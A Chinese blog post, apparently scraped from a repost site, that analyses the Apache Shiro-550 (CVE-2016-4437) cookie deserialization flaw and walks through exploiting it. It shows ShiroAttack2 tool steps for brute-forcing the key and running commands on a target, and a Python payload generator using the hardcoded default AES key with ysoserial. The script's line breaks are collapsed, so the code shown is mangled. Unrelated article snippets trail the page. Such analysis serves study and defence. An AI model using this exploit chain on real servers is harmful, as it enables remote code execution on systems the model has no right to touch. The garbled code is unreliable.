Shiro-550—漏洞分析(CVE-2016-4437)

文章目录

  • 漏洞原理
  • 源码分析
    • 加密过程
    • 解密过程
  • 漏洞复现

漏洞原理

Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥或直接使用默认密钥,后面就是反序列化漏洞。

源码分析

加密过程

约定:假设传入的用户名是root

1.入口在:onSuccessfulLogin函数
在这里插入图片描述
2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行rememberIdentity函数,那么这里就正式开始漏洞剖析了。
在这里插入图片描述
3.跟进rememberIdentity函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)
在这里插入图片描述
注意,我们这里需要跟进rememberIdentity函数里的rememberIdentity函数
进去后你会发现两个函数,这里两大分支:

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

说明:我们先跟踪convertPrincipalsToBytes,但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity
在这里插入图片描述

4.接着跟进convertPrincipalsToBytes,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去encrypt加密,那么这两点说的就是整个漏洞的核心。

序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是加密过程我们是需要知道的最好是能拿到他的密钥。

在这里插入图片描述
5.那么接着肯定要跟进serialize函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。
在这里插入图片描述
6.接着就要回过头来看convertPrincipalsToBytes函数,序列化完成后下面有个getCipherService函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。
在这里插入图片描述

7.开始跟进getCipherService函数
开幕雷击,重要信息+1,
在这里插入图片描述
可以悬停看到他的加密方式AES模式
在这里插入图片描述
8.判断成功找到加密模式后,接下来就是进入if里面进行encrypt加密了
在这里插入图片描述
跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式
在这里插入图片描述
9.这里根据执行优先级,先跟进getEncryptionCipherKey方法
这个getEncryptionCipherKey就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了encryptionCipherKey,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可
在这里插入图片描述
最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES
在这里插入图片描述
10.书接上回getEncryptionCipherKey获取加密密钥成功了,接着就轮到encrypt加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。
在这里插入图片描述
11.退出后接着就是 rememberSerializedIdentity
不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity
在这里插入图片描述
12.跟进 rememberSerializedIdentity 函数
里面的都不管了,直接看重要的信息,那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。
在这里插入图片描述

  • 加密总结
    对cookie进行序列化

    AES加密(密钥可碰撞拿到/用常用默认密钥)

    base64加密

    完成加密,设置cookie字段

解密过程

解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:

  • 解密总结
    hacker 传入恶意payload放在cookie的rememberMe字段中

    服务端 base64解密

    服务端 AES解密(密钥可碰撞拿到/用常用默认密钥)

    服务端 反序列化数据(攻击成功)

那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。

漏洞复现

1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
插件安装完成后就可以抓包方包看看
在这里插入图片描述
最后在目标那里就能够看到抓到的密钥了
在这里插入图片描述

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可
在这里插入图片描述
接着来到命令执行这里随便执行命令了
在这里插入图片描述

同时你还能添加更多的key进字典里面,字典在data目录下。
在这里插入图片描述


下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。

网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议不用修改其他东西,只修改dnslog域名获取到payload,放到cookie那里发包过去探测存在漏洞即可。
请自行下载jar包放在同脚本目录下才能用下面脚本:https://github.com/frohoff/ysoserial/
在这里插入图片描述
接着运行脚本
拿到payload
在这里插入图片描述
接着放到cookie里面,记住一定要放到cookie里面,因为反序列化就是通过cookie反序列化的。
在这里插入图片描述
接着查看dnslog就会发现触发成功
在这里插入图片描述

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。

import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],stdout=subprocess.PIPE)# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# payload = encode_rememberme('127.0.0.1:12345')# payload = rememberme('calc.exe')payload = rememberme('http://xxxx.ceye.io')with open("./payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()))res = "rememberMe={}".format(payload.decode())fpw.write(res)

参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/54818.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

利用Puppeteer-Har记录与分析网页抓取中的性能数据

引言 在现代网页抓取中,性能数据的记录与分析是优化抓取效率和质量的重要环节。本文将介绍如何利用Puppeteer-Har工具记录与分析网页抓取中的性能数据,并通过实例展示如何实现这一过程。 Puppeteer-Har简介 Puppeteer是一个Node.js库,提供…

VUE.js笔记

1.介绍vue Vue 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助你高效地开发用户界面。无论是简单还是复杂的界面,Vue 都可以胜任。 Vue 应用程序的基本…

初识C语言(三)

感兴趣的朋友们可以留个关注,我们共同交流,相互促进学习。 文章目录 前言 八、函数 九、数组 (1)数组的定义 (2)数组的下标和使用 十、操作符 (1)算数操作符 (2&#xff…

统计本周的订单数,统计最近7天的订单数

3个函数 DATE_SUB和SUBDATE在MySQL中的作用是一样的,它们都是用于执行日期的减法运算。具体来说,这两个函数都允许你从给定的日期或日期时间值中减去一个指定的时间间隔,然后返回一个新的日期或日期时间值。 DATE函数 DATE(time) 用于获取…

多机部署,负载均衡-LoadBalance

文章目录 多机部署,负载均衡-LoadBalance1. 开启多个服务2. 什么是负载均衡负载均衡的实现客户端负载均衡 3. Spring Cloud LoadBalance快速上手使用Spring Cloud LoadBalance实现负载均衡修改IP,端口号为服务名称启动多个服务 负载均衡策略自定义负载均衡策略 LoadBalance原理…

图像处理04

图像处理 问题:把不规则的图片按照参考图摆放 步骤: 1. 用ORB找关键点 2. 关键点匹配 3. 根据上一步匹配的关键点得出单应性矩阵 4. 根据单应性矩阵对不规则进行透视变换 import cv2 import numpy as np import matplotlib.pyplot as pltimgl cv2.imrea…

liunxcentos7下 跟目录空间不足docker load镜像报错空间不足

前两天在公司,做jenkins流水线项目,然后把项目放到docker容器里面运行,就在我把镜像打好包的时候正准备往服务器里面导入镜像的时候报错:如图所示 这时发现自己的根目录空间不足。 解决办法:重新加一块磁盘将磁盘挂载…

Java线程池和原子性

文章目录 前言1 线程池1.1 线程池概述1.1.1 线程池存在的意义1.1.2 Executors默认线程池 1.2 线程状态介绍1.2.1 线程状态源码1.2.2 线程状态含义1.2.3 线程状态转换图 2 原子性2.1 volatile关键字2.2 synchronized解决2.3 原子性2.4 AtomicInteger类2.5 悲观锁和乐观锁 前言 …

Vue 响应式监听 Watch 最佳实践

一. 前言 上一篇文章我们学习了 watch 的基础知识,了解了它的基本使用方法及注意事项,本篇文章我们继续了解在Vue 中 响应式监听 watch 的妙用。了解 watch 的基础使用请参考上一篇文章: 详解 Vue 中 Watch 的使用方法及注意事项https://bl…

【Docker】02-数据卷

1. 数据卷 数据卷(volume) 是一个虚拟目录,是容器内目录与宿主机目录之间映射的桥梁。 2. 常见命令 docker volume createdocker volume lsdocker volume rmdocker volume inspect 查看某个数据卷的详情docker volume prune 清除数据卷 **数据卷挂载&#xff1a…

bench.sh:一行命令测试Linux服务器基准测试

简介 bench.sh 是一个 Linux 系统性能基准测试工具。它的测试结果如下图:给出服务器的整体配置信息,IO 性能,网络性能。很多人使用它测试 vps 性能。 ​​ 一键运行 服务器在国外可以使用以下命令运行测试 wget -qO- bench.sh | bash复制…

微信小程序配置prettier+eslint

虽然微信开发者工具是基于vscode魔改的.但是由于版本过低,导致很多插件也用不上新版本.所以在微信开发者工具限制的版本下使用的prettier,eslint也是有版本要求. 本文主要就是记录一下需要的版本号 1.微信开发者工具安装插件 2.package.json中添加以下依赖及安装依赖 "de…

JVM(HotSpot):方法区(Method Area)

文章目录 一、内存结构图二、方法区定义三、内存溢出问题四、常量池与运行时常量池 一、内存结构图 1.6 方法区详细结构图 1.8方法区详细结构图 1.8后,方法区是JVM内存的一个逻辑结构,真实内存用的本地物理内存。 且字符串常量池从常量池中移入堆中。 …

云服务器连接不上是什么原因引起的?

云服务器连接不上是什么原因引起的?云服务器连接不上是一个常见的问题,常见的原因有网络连接、账户权限、安全组设置、服务器状态、端口占用、远程登录未开启、云服务器已关闭或到期、防护软件限制、DNS劫持、资源负载过高。以下是一些主要原因及解决方法…

微信小程序 - 最新详细安装使用 Vant weapp UI 框架环境搭建详细教程

前言 自从 2024 年开始,小程序做了很多改变和升级, 导致网上很多搭建教程文章的教程失效了,本文来做最新的教程。 第一步 为了更贴合新手,我这里创建了一个纯净无任何业务代码的小程序项目。

SpringBoot-全局处理异常,时间格式,跨域,拦截器,监听器

1.全局异常处理 使用ControllerAdvice与ExceptionHandler注解 /*** 全局异常处理程序** author * date */ ControllerAdvice ResponseBody public class GlobalExceptionHandler {ExceptionHandler(Exception.class)public JsonResult handleException(Exception e) {e.print…

Wireshark学习使用记录

wireshark 是一个非常好用的抓包工具,使用 wireshark 工具抓包分析,是学习网络编程必不可少的一项技能。 原理 Wireshark使用的环境大致分为两种:一种是电脑直连互联网的单机环境,另外一种就是应用比较多的互联网环境,也就是连接…

Windows下安装Neo4j流程

Neo4j简介 Neo4j 是一个基于图形结构的 NoSQL 数据库,专门用于存储和管理图数据。与传统的关系型数据库不同,Neo4j 使用 图(graph)的形式来表示数据,其中数据点(称为 节点)通过 边(…

分拆逆势上会,兴福电子部分专利来自母公司,独立性被拷问

作者:Cindy 来源:IPO魔女 公司拟募集资金12.10亿元,保荐机构为天风证券。兴福电子2023年5月就提交了上市申请,期间经历了2轮问询,一年多时间就开启上会。 然而值得注意的是,兴福电子属于分拆上市&#xff…

亚马逊IP关联揭秘:发生ip关联如何处理

在亚马逊这一全球领先的电商平台上,IP关联是一个不可忽视的问题,尤其是对于多账号运营的卖家而言。本文将深入解析亚马逊IP关联的含义、影响以及应对策略,帮助卖家更好地理解和应对这一问题。 什么是亚马逊IP关联? 亚马逊IP关联…